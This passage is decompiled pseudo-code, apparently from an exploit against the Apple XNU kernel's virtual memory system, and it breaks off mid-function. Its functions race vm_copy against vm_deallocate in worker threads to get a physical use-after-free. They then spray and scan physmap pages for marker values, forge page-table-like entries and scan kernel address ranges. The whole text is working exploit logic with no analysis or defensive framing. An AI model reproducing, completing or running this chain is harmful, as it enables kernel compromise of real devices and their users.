uint64_t *__fastcall dequeue_physmap_page_entry(uint64_t *a1, uint64_t *a2)
{
  uint64_t *v3; // x20
  uint64_t *v4; // x21
  int v5; // w1
  uint64_t *result; // x0
  __int64 v7; // x9
  uint64_t *v8; // x8

  v3 = a1;
  v4 = a1 + 151;
  v5 = a1 + 151 == a2;
  while ( 1 )
  {
    result = physmap_page_entry_alloc(a1, v5);
    if ( !result[1] )
      break;
    v5 = v4 == a2;
    v7 = a2[2];
    *result = a2[1];
    a2[1] = result;
    a2[2] = v7 + 1;
    a1 = v3;
  }
  *a2 = result;
  if ( a2[2] )
  {
    v8 = a2 + 1;
    do
      v8 = (uint64_t *)*v8;
    while ( v8 );
  }
  return result;
}

//----- (0000000000007E84) ----------------------------------------------------
uint64_t *__fastcall dequeue_multiple_physmap_entries(uint64_t *a1)
{
  __int64 vars8; // [xsp+18h] [xbp+8h]

  fill_physmap_page_entries(a1, (__int64)(a1 + 141));
  fill_physmap_page_entries(a1, (__int64)(a1 + 146));
  dequeue_physmap_page_entry(a1, a1 + 151);
  return dequeue_physmap_page_entry(a1, a1 + 155);
}
// 7ECC: variable 'vars8' is possibly undefined

//----- (0000000000007EDC) ----------------------------------------------------
__int64 __fastcall trigger_vm_copy_shared_mem(__int64 a1)
{
  atomic_store(1u, (unsigned __int8 *)(a1 + 1280));
  vm_copy(
    mach_task_self_,
    *(uint64_t *)(*(uint64_t *)(a1 + 1208) + 240LL),
    0xC000u,
    *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL));
  return 0;
}

//----- (0000000000007F28) ----------------------------------------------------
__int64 __fastcall thread_realtime_vm_copy(__int64 a1)
{
  __int64 i; // x21
  __int64 v3; // x23
  __int64 j; // x21
  __int64 v5; // x23

  setup_thread_policy();
  for ( i = 0; i != -16; i -= 8 )
  {
    v3 = *(uint64_t *)(a1 + 1136 + i);
    vm_deallocate(mach_task_self_, *(uint64_t *)(v3 + 24), 0x4000u);
    *(uint64_t *)(v3 + 24) = 0;
  }
  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096), *(uint64_t *)(a1 + 1088));
  for ( j = 0; j != -16; j -= 8 )
  {
    v5 = *(uint64_t *)(a1 + 1176 + j);
    vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + 24), 0x4000u);
    *(uint64_t *)(v5 + 24) = 0;
  }
  atomic_store(1u, (unsigned __int8 *)(a1 + 1296));
  vm_copy(mach_task_self_, *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL), 0xC000u, 0xFFFFFFFFFFFFFFFFLL);
  return 0;
}

//----- (0000000000007FF8) ----------------------------------------------------
__int64 __fastcall scan_physmap_for_region(__int64 a1, unsigned __int64 a2)
{
  __int64 v4; // x8
  unsigned __int64 *v5; // x25
  unsigned __int64 *v6; // x21
  __int64 v7; // x22
  __int64 v8; // x26
  __int64 v9; // x23
  unsigned __int64 v10; // x8
  __int64 v11; // x28
  unsigned __int64 v12; // x27
  __int64 result; // x0
  unsigned __int64 v14; // x25
  unsigned __int64 v15; // x26
  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF

  v4 = *(uint64_t *)(a1 + 32);
  v5 = (unsigned __int64 *)(v4 + 0x4000);
  v6 = (unsigned __int64 *)(v4 + 0x8000);
  v7 = *(uint64_t *)(a1 + 1088);
  v8 = *(uint64_t *)(a1 + 1496);
  v9 = *(uint64_t *)(a1 + 1504);
  *(uint64_t *)(v8 + v7) = 0xAAAA1111AAAA1111LL;
  *(uint64_t *)(v9 + v7) = 0xAAAA1111AAAA1111LL;
  v10 = 0xBBBB2222BBBB2223LL;
  v11 = 200000;
  while ( 1 )
  {
    v12 = v10;
    address = (vm_address_t)v5;
    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
    *v5 = v12;
    __dsb(0xAu);
    if ( v12 == *(uint64_t *)(v7 + v8) )
    {
      *(uint8_t *)(a1 + 40) = 1;
      goto LABEL_8;
    }
    if ( v12 == *(uint64_t *)(v7 + v9) )
      break;
    v10 = v12 + 1;
    if ( !--v11 )
      goto LABEL_8;
  }
  *(uint8_t *)(a1 + 41) = 1;
LABEL_8:
  if ( !*(uint8_t *)(a1 + 41) && a2 )
  {
    v14 = v12 + 1;
    v15 = 1;
    while ( 1 )
    {
      address = (vm_address_t)v6;
      result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
      *v6 = v14;
      __dsb(0xAu);
      if ( v14 == *(uint64_t *)(v7 + v9) )
        break;
      ++v15;
      ++v14;
      if ( v15 > a2 )
        return result;
    }
    *(uint8_t *)(a1 + 41) = 1;
  }
  return result;
}

//----- (000000000000814C) ----------------------------------------------------
__int64 __fastcall get_physmap_region_ptr(__int64 a1, int a2)
{
  unsigned __int64 *v4; // x21
  __int64 v5; // x22
  __int64 v6; // x8
  __int64 v7; // x23
  unsigned __int64 v8; // x24
  __int64 v9; // x25
  __int64 result; // x0
  vm_address_t address; // [xsp+8h] [xbp-48h] BYREF

  v4 = (unsigned __int64 *)(*(uint64_t *)(a1 + 32) + 0x4000LL);
  v5 = *(uint64_t *)(a1 + 1088);
  v6 = 1504;
  if ( a2 )
    v6 = 1496;
  v7 = *(uint64_t *)(a1 + v6);
  *(uint64_t *)(v7 + v5) = 0xAAAA1111AAAA1111LL;
  v8 = 0xBBBB2222BBBB2223LL;
  v9 = 200000;
  while ( 1 )
  {
    address = (vm_address_t)v4;
    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
    *v4 = v8;
    if ( v8 == *(uint64_t *)(v5 + v7) )
      break;
    ++v8;
    if ( !--v9 )
      return result;
  }
  if ( a2 )
    *(uint8_t *)(a1 + 40) = 1;
  else
    *(uint8_t *)(a1 + 41) = 1;
  return result;
}

//----- (0000000000008228) ----------------------------------------------------
unsigned __int64 __fastcall run_physmap_worker_threads(__int64 a1)
{
  pthread_t *v2; // x20
  unsigned __int8 *v3; // x21
  void *(__cdecl *v4)(void *); // x0
  unsigned __int8 v5; // w8
  unsigned __int8 v6; // w8
  void *(__cdecl *v7)(void *); // x0
  unsigned __int8 v8; // w8
  unsigned __int8 v9; // w8
  __int64 v10; // x1
  __int64 v11; // x8
  char v12; // w10
  char v13; // w9
  __int64 v14; // x20
  char i; // w8
  char v16; // w21
  unsigned __int64 result; // x0

  v2 = &PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET);
  v3 = &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET);
  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
  v4 = (void *(__cdecl *)(void *))nullsub_1(trigger_vm_copy_shared_mem);
  if ( pthread_create(v2, 0, v4, (void *)a1) )
    __error();
  v5 = atomic_load(v3);
  if ( (v5 & 1) == 0 )
  {
    do
    {
      usleep(0x3E8u);
      v6 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
    }
    while ( (v6 & 1) == 0 );
  }
  usleep(0x1388u);
  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
  v7 = (void *(__cdecl *)(void *))nullsub_1(thread_realtime_vm_copy);
  if ( pthread_create(&PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0, v7, (void *)a1) )
    __error();
  v8 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
  if ( (v8 & 1) == 0 )
  {
    do
    {
      usleep(0x3E8u);
      v9 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
    }
    while ( (v9 & 1) == 0 );
  }
  usleep(0x1388u);
  vm_region_nesting_result nesting = query_vm_region_nesting(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET));
  v11 = 0;
  v12 = 1;
  while ( 1 )
  {
    v13 = v12;
    if ( nesting.object_id == *(uint64_t *)(*(uint64_t *)(a1 + 8 * v11 + PHYSMAP_CTX_REGION_A_LIST_OFFSET) + 16LL) )
      break;
    v12 = 0;
    v11 = 1;
    if ( (v13 & 1) == 0 )
      goto LABEL_14;
  }
  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET) = v11;
LABEL_14:
  v14 = 0;
  for ( i = 1; ; i = 0 )
  {
    v16 = i;
    result = query_vm_region_nesting(*(uint64_t *)(*(uint64_t *)(a1 + 8 * v14 + PHYSMAP_CTX_REGION_B_LIST_OFFSET) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET)).packed_info;
    if ( (uint32_t)result == 2 )
      break;
    v14 = 1;
    if ( (v16 & 1) == 0 )
      return result;
  }
  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET) = v14;
  return result;
}
// 8324: variable 'v10' is possibly undefined
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000008384) ----------------------------------------------------
uintptr_t __fastcall physmap_madvise_free(__int64 a1, __int64 a2)
{
  int status; // w0

  status = madvise((void *)(*(uint64_t *)(a1 + 32) + 49152LL), a2 << 14, 3);
  if ( status )
    return (uintptr_t)__error();
  return 0;
}
//----- (00000000000083C8) ----------------------------------------------------
__int64 __fastcall puaf_vmregion_race_trigger(uint64_t *a1)
{
  vm_address_t v2; // x20
  __int64 v3; // x8
  __int64 v4; // x10
  __int64 v5; // x22
  __int64 v6; // x23
  __int64 i; // x20
  __int64 result; // x0
  vm_address_t address; // [xsp+8h] [xbp-38h] BYREF

  address = 0;
  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
  v2 = address;
  v3 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET);
  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_B_OFFSET);
  *(uint8_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_A_OFFSET) + v3) = 65;
  *(uint8_t *)(v4 + v3) = 65;
  v5 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_A_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET));
  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
  thread_switch(0, 2, 0);
  v6 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET));
  vm_deallocate(mach_task_self_, *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
  *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
  vm_remap_inplace(v2, 0xC000u, 0);
  query_vm_region_nesting(v2);
  *(uint64_t *)(*(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET)) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = v2;
  scan_physmap_for_region((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET));
  physmap_madvise_free((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET) - 4LL);
  for ( i = 0; i != 800000; i += 8 )
    result = vm_remap_inplace(*(uint64_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SPRAY_PAGES_OFFSET) + i), 0x4000u, 0);
  return result;
}

//----- (00000000000084F8) ----------------------------------------------------
uintptr_t __fastcall puaf_vm_region_scan_1(__int64 a1)
{
  __int64 v2; // x9
  vm_address_t v3; // x21
  __int64 v4; // x21
  __int64 v5; // x21
  int status; // w0
  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF

  v2 = *(uint64_t *)(a1 + 32);
  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
  {
    v3 = v2 + 0x8000;
    address = v2 + 0x4000;
    vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
    address = v3;
  }
  else
  {
    address = v2 + 0x4000;
  }
  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET);
  vm_deallocate(mach_task_self_, *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
  *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
  if ( pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0) )
    __error();
  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET) = 0;
  v5 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET);
  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
  status = pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET), 0);
  if ( status )
    return (uintptr_t)__error();
  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET) = 0;
  return 0;
}

//----- (00000000000085E4) ----------------------------------------------------
void __fastcall validate_physmap_range_2(__int64 a1)
{
  int v2; // w8
  __int64 v3; // x22
  __int64 v4; // x23
  __int64 v5; // x25
  vm_address_t v6; // x20
  __int64 v7; // x1
  __int64 v8; // x8
  int (__cdecl *v9)(const void *, const void *); // x0

  v2 = *(unsigned __int8 *)(a1 + 40);
  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
  {
    *(uint16_t *)(a1 + 40) = 0;
    scan_physmap_for_region(a1, *(uint64_t *)(a1 + 1432));
  }
  else
  {
    *(uint16_t *)(a1 + 40) = 0;
    get_physmap_region_ptr(a1, v2 != 0);
  }
  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1104), *(uint64_t *)(a1 + 1120), *(uint64_t *)(a1 + 1112));
  v3 = 0;
  v4 = 0;
  v5 = 0;
  do
  {
    v6 = *(uint64_t *)(*(uint64_t *)(a1 + 48) + 8 * v5);
    vm_region_nesting_result nesting = query_vm_region_nesting(v6);
    if ( nesting.packed_info >> 32 )
    {
      vm_deallocate(mach_task_self_, v6, 0x4000u);
      ++v5;
    }
    else
    {
      if ( !v3 )
        v3 = v5 + 1;
      ++v5;
      v8 = a1 + 16 * v4;
      *(uint64_t *)(v8 + 56) = v6;
      *(uint64_t *)(v8 + 64) = nesting.object_id;
      ++v4;
    }
  }
  while ( v5 != 100000 );
  *(uint64_t *)(a1 + 1424) = v3;
  v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(compare_entry_by_offset);
  qsort((void *)(a1 + 56), 0x40u, 0x10u, v9);
  free(*(void **)(a1 + 48));
  *(uint64_t *)(a1 + 48) = 0;
}
// 8694: variable 'v7' is possibly undefined
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000008710) ----------------------------------------------------
void __fastcall run_physmap_setup_sequence(uint64_t *a1)
{
  __int64 vars8; // [xsp+18h] [xbp+8h]

  run_physmap_worker_threads((__int64)a1);
  puaf_vmregion_race_trigger(a1);
  puaf_vm_region_scan_1((__int64)a1);
  validate_physmap_range_2((__int64)a1);
}
// 8748: variable 'vars8' is possibly undefined

//----- (0000000000008758) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_3(vm_address_t *a1)
{
  vm_address_t v2; // x8
  __int64 v3; // x8
  vm_address_t v4; // x20
  vm_address_t v5; // x20
  __int64 v6; // x8
  vm_address_t v7; // x20
  vm_address_t *v8; // x26
  vm_address_t v9; // x8
  vm_address_t v10; // x9
  vm_address_t v11; // x10
  __int64 v12; // x20
  vm_address_t v13; // x11
  __int64 v14; // x8
  vm_address_t v15; // x8
  vm_address_t v16; // x1
  vm_address_t v17; // x8
  vm_address_t v18; // x20
  vm_size_t v19; // x21
  unsigned __int64 v20; // x8
  __int128 *v21; // x9
  __int64 v22; // x20
  vm_address_t *v23; // x21
  vm_address_t v24; // x8
  unsigned __int64 v25; // x11
  unsigned __int64 v26; // x10
  unsigned int v27; // w8
  __int128 *v28; // x8
  __int128 v30; // [xsp+10h] [xbp-380h]
  __int128 v31; // [xsp+30h] [xbp-360h]
  uint8_t v32[32]; // [xsp+40h] [xbp-350h]
  __int128 v33; // [xsp+60h] [xbp-330h]
  __int128 v34; // [xsp+B0h] [xbp-2E0h]
  __int128 v35; // [xsp+D0h] [xbp-2C0h]
  __int128 v36; // [xsp+E0h] [xbp-2B0h]
  __int128 v37; // [xsp+F0h] [xbp-2A0h]
  __int128 v38; // [xsp+100h] [xbp-290h]
  uint8_t v39[32]; // [xsp+140h] [xbp-250h]
  __int128 v40; // [xsp+160h] [xbp-230h]
  __int128 v41; // [xsp+170h] [xbp-220h]
  __int128 v42; // [xsp+1B0h] [xbp-1E0h]
  __int128 v43; // [xsp+1D0h] [xbp-1C0h]
  __int128 v44; // [xsp+1E0h] [xbp-1B0h]
  __int128 v45; // [xsp+1F0h] [xbp-1A0h]
  __int128 v46; // [xsp+200h] [xbp-190h]
  uint8_t address[32]; // [xsp+240h] [xbp-150h] BYREF
  __int128 v48; // [xsp+260h] [xbp-130h]
  __int128 v49; // [xsp+270h] [xbp-120h]
  __int128 v50; // [xsp+280h] [xbp-110h]
  __int128 v51; // [xsp+290h] [xbp-100h]
  __int128 v52; // [xsp+2A0h] [xbp-F0h]
  __int128 v53; // [xsp+2B0h] [xbp-E0h]
  __int128 v54; // [xsp+2C0h] [xbp-D0h]
  __int128 v55; // [xsp+2D0h] [xbp-C0h]
  __int128 v56; // [xsp+2E0h] [xbp-B0h]
  __int128 v57; // [xsp+2F0h] [xbp-A0h]
  __int128 v58; // [xsp+300h] [xbp-90h]
  __int128 v59; // [xsp+310h] [xbp-80h]
  __int128 v60; // [xsp+320h] [xbp-70h]
  __int128 v61; // [xsp+330h] [xbp-60h]

  *(uint64_t *)address = 0;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
  v2 = *(uint64_t *)address;
  a1[176] = *(uint64_t *)address;
  a1[172] = v2;
  *(uint64_t *)address = v2;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, a1[7], 0x4000u);
  a1[7] = 0;
  vm_remap_inplace(a1[172], 0x4000u, 0);
  query_vm_region_nesting(a1[172]);
  *(uint64_t *)address = 0;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000u, 1);
  v3 = *(uint64_t *)address;
  a1[175] = *(uint64_t *)address;
  *(uint64_t *)address = v3;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
  vm_remap_inplace(a1[175], 0x4000u, 0);
  *(uint64_t *)address = a1[175] + 0x4000;
  v4 = *(uint64_t *)address;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, a1[9], 0x4000u);
  a1[9] = 0;
  vm_copy(mach_task_self_, a1[172], 0xC000u, v4);
  query_vm_region_nesting(v4);
  vm_deallocate(mach_task_self_, a1[175] + 49152, 0x4000u);
  *(uint64_t *)address = a1[172] + 0x4000;
  v5 = *(uint64_t *)address;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
  vm_remap_inplace(v5, 0x4000u, 0);
  *(uint64_t *)address = 0;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
  v6 = *(uint64_t *)address;
  a1[173] = *(uint64_t *)address;
  *(uint64_t *)address = v6;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
  vm_remap_inplace(a1[173], 0x4000u, 0);
  *(uint64_t *)address = a1[173] + 0x4000;
  v7 = *(uint64_t *)address;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
  vm_remap_inplace(v7, 0x4000u, 0);
  v8 = a1 + 138;
  vm_copy(mach_task_self_, a1[139], a1[140], a1[138]);
  v9 = a1[140];
  if ( v9 )
  {
    v10 = 0;
    v11 = *v8;
    v12 = -1;
    do
    {
      v13 = v11 + v10;
      if ( (*(uint8_t *)(v11 + v10 + 127) & 1) == 0 && (*(uint8_t *)(v13 + 383) & 1) == 0 )
      {
        a1[163] = *(uint64_t *)(v13 + 328);
        v12 = v10;
      }
      v10 += 0x4000LL;
    }
    while ( v10 < v9 );
  }
  else
  {
    v12 = -1;
  }
  *(uint64_t *)address = 0;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
  v14 = *(uint64_t *)address;
  a1[169] = *(uint64_t *)address;
  *(uint64_t *)address = v14;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
  vm_remap_inplace(a1[169], 0x4000u, 0);
  *(uint64_t *)address = a1[169] + 0x4000;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
  v15 = a1[139] + v12;
  a1[170] = v15;
  *(uint64_t *)address = v15 + 0x4000;
  vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
  v16 = a1[139];
  v17 = a1[170];
  v18 = v17 + 49152;
  v19 = v16 + a1[140] - v17 - 0x4000;
  vm_deallocate(mach_task_self_, v16, v17 - v16);
  vm_deallocate(mach_task_self_, v18, v19);
  vm_deallocate(mach_task_self_, a1[138], a1[140]);
  *v8 = 0;
  a1[139] = 0;
  *(uint64_t *)address = 0;
  *(__int128 *)&address[16] = 0u;
  v60 = 0u;
  v61 = 0u;
  v58 = 0u;
  v59 = 0u;
  v56 = 0u;
  v57 = 0u;
  v54 = 0u;
  *(uint64_t *)&v55 = 0;
  v52 = 0u;
  v53 = 0u;
  v50 = 0u;
  v51 = 0u;
  v48 = 0u;
  v49 = 0u;
  *(__int128 *)&address[8] = *(__int128 *)byte_42D30;
  DWORD2(v48) = 100;
  LODWORD(v53) = 4;
  HIDWORD(v53) = 16893952;
  *((uint64_t *)&v55 + 1) = -1;
  v20 = -256;
  HIDWORD(v56) = 786560;
  do
  {
    v21 = (__int128 *)(v20 + a1[169]);
    v21[28] = v58;
    v21[29] = v59;
    v21[30] = v60;
    v21[31] = v61;
    v21[24] = v54;
    v21[25] = v55;
    v21[26] = v56;
    v21[27] = v57;
    v21[20] = v50;
    v21[21] = v51;
    v21[22] = v52;
    v21[23] = v53;
    v21[16] = *(__int128 *)address;
    v21[17] = *(__int128 *)&address[16];
    v21[18] = v48;
    v21[19] = v49;
    v20 += 256LL;
  }
  while ( v20 >> 8 < 0x3F );
  vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
  v22 = 0;
  v23 = a1 + 11;
  do
  {
    vm_deallocate(mach_task_self_, v23[v22], 0x4000u);
    v23[v22] = 0;
    v22 += 2;
  }
  while ( v22 != 124 );
  bzero((void *)a1[169], 0x4000u);
  *(uint64_t *)&v43 = 0;
  v44 = 0u;
  *(uint64_t *)&v45 = 0;
  v46 = 0u;
  v42 = 0u;
  v41 = 0u;
  v24 = a1[163];
  v25 = (v24 + 0x2400000200LL) >> 6;
  if ( v24 == -512 )
    LODWORD(v25) = 0;
  *(uint32_t *)v39 = v25;
  *(uint32_t *)&v39[4] = v25;
  *(__int128 *)&v39[8] = *(__int128 *)byte_42D30;
  *(uint64_t *)&v39[24] = 0x4000;
  *(uint64_t *)&v40 = v24 + 512;
  *((uint64_t *)&v40 + 1) = 0x100000064LL;
  LODWORD(v41) = 1;
  HIDWORD(v42) = 1165312;
  *((uint64_t *)&v43 + 1) = -1;
  HIDWORD(v44) = 786439;
  *((uint64_t *)&v45 + 1) = v24 + 184;
  *(uint64_t *)&v46 = v24 + 184;
  *(uint64_t *)&v35 = 0;
  v36 = 0u;
  *(uint64_t *)&v37 = 0;
  *((uint64_t *)&v38 + 1) = 0;
  v34 = 0u;
  v26 = (v24 + 0x2400000100LL) >> 6;
  if ( v24 == -256 )
    LODWORD(v26) = 0;
  *(uint32_t *)v32 = v26;
  *(uint32_t *)&v32[4] = v26;
  *(__int128 *)&v32[8] = *(__int128 *)byte_42D30;
  *(uint64_t *)&v32[24] = 0x4000;
  *(uint64_t *)&v33 = 0;
  *((uint64_t *)&v33 + 1) = 100;
  LODWORD(v34) = 4;
  HIDWORD(v34) = 100352;
  *((uint64_t *)&v35 + 1) = -1;
  HIDWORD(v36) = 786439;
  *((uint64_t *)&v37 + 1) = v24 + 3200;
  *(uint64_t *)&v38 = v24 + 3200;
  DWORD2(v31) = 0;
  *(uint64_t *)&v30 = 0;
  if ( v24 )
    v27 = (v24 + 0x2400000000LL) >> 6;
  else
    v27 = 0;
  DWORD2(v30) = v27;
  HIDWORD(v30) = v27;
  *(uint64_t *)&v31 = v27 | 0x401000100000000LL;
  HIDWORD(v31) = 4108;
  v28 = (__int128 *)a1[169];
  v28[2] = v40;
  v28[3] = v41;
  *v28 = *(__int128 *)v39;
  v28[1] = *(__int128 *)&v39[16];
  v28[6] = 0u;
  v28[7] = v42;
  v28[4] = 0u;
  v28[5] = 0u;
  v28[10] = v44;
  v28[11] = v45;
  v28[8] = 0u;
  v28[9] = v43;
  v28[14] = 0u;
  v28[15] = 0u;
  v28[12] = v46;
  v28[13] = 0u;
  v28[28] = v38;
  v28[29] = 0u;
  v28[30] = 0u;
  v28[31] = 0u;
  v28[24] = 0u;
  v28[25] = v35;
  v28[26] = v36;
  v28[27] = v37;
  v28[20] = 0u;
  v28[21] = 0u;
  v28[22] = 0u;
  v28[23] = v34;
  v28[16] = *(__int128 *)v32;
  v28[17] = *(__int128 *)&v32[16];
  v28[18] = v33;
  v28[19] = 0u;
  v28[32] = v30;
  v28[33] = 0u;
  v28[34] = v31;
  return vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
}
// 42D30: using guessed type __int128 xmmword_42D30;

//----- (0000000000008DDC) ----------------------------------------------------
void __fastcall scan_physmap_overlap(uint64_t *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4)
{
  char *v8; // x21
  __int64 v9; // x23
  unsigned __int64 v10; // x0
  unsigned __int64 v11; // x8
  unsigned __int64 v12; // x9
  unsigned __int64 v13; // x9
  unsigned __int64 v14; // x8
  char *v15; // x9
  unsigned __int64 v16; // x12
  __int64 vars8; // [xsp+38h] [xbp+8h]

  v8 = (char *)malloc(0x4000u);
  v9 = -(__int64)vm_page_size & a2;
  if ( v9 )
  {
    while ( 1 )
    {
      v10 = build_physmap_page_table(a1, v9);
      if ( v10 )
        break;
LABEL_6:
      v9 -= 0x4000;
      if ( !v9 )
        goto LABEL_7;
    }
    physmap_read_aligned(a1, v10, v8, 0x4000u);
    v11 = 0;
    while ( *(uint32_t *)&v8[v11] != -1459454112 )
    {
      v12 = v11 >> 3;
      v11 += 4LL;
      if ( v12 >= 0x7FF )
        goto LABEL_6;
    }
    v15 = &v8[v11];
    v16 = v9 + v11;
    v14 = ((v9 + v11 + 12) & 0xFFFFFFFFFFFFF000LL)
        + (((unsigned __int64)*(unsigned int *)&v8[v11 + 16] >> 7) & 0x7FF8)
        + 2LL * ((*(uint32_t *)&v8[v11 + 12] >> 18) & 0x1800 | (*(uint32_t *)&v8[v11 + 12] >> 5 << 13));
    v13 = ((v16 - 20) & 0xFFFFFFFFFFFFF000LL)
        + (((unsigned __int64)*((unsigned int *)v15 - 4) >> 7) & 0x7FF8)
        + 2LL * ((*((uint32_t *)v15 - 5) >> 18) & 0x1800 | (*((uint32_t *)v15 - 5) >> 5 << 13));
  }
  else
  {
LABEL_7:
    v13 = 0;
    v14 = 0;
  }
  *a3 = v14;
  *a4 = v13;
  free(v8);
}
// 8F08: variable 'vars8' is possibly undefined

//----- (0000000000008F18) ----------------------------------------------------
void __fastcall scan_physmap_addr_range(uint64_t *a1, __int64 a2, int a3, uint64_t *a4)
{
  char *v8; // x21
  unsigned __int64 v9; // x24
  __int64 v10; // x22
  unsigned __int64 v11; // x25
  __int64 v12; // x23
  unsigned __int64 v13; // x8
  unsigned __int64 v14; // x9
  unsigned __int64 v15; // x8
  __int64 vars8; // [xsp+48h] [xbp+8h]

  v8 = (char *)malloc(0x4000u);
  if ( a2 == 0x10000000000LL )
    v9 = 0xFFFF800000000000LL;
  else
    v9 = 0xFFFFFF8000000000LL;
  v10 = (unsigned int)(a3 << 14) + a2;
  v11 = 50331648;
  v12 = v10 + 50331648;
  while ( 2 )
  {
    physmap_read_aligned(a1, (v10 + v11) & -(__int64)vm_page_size, v8, 0x4000u);
    v13 = 0;
    do
    {
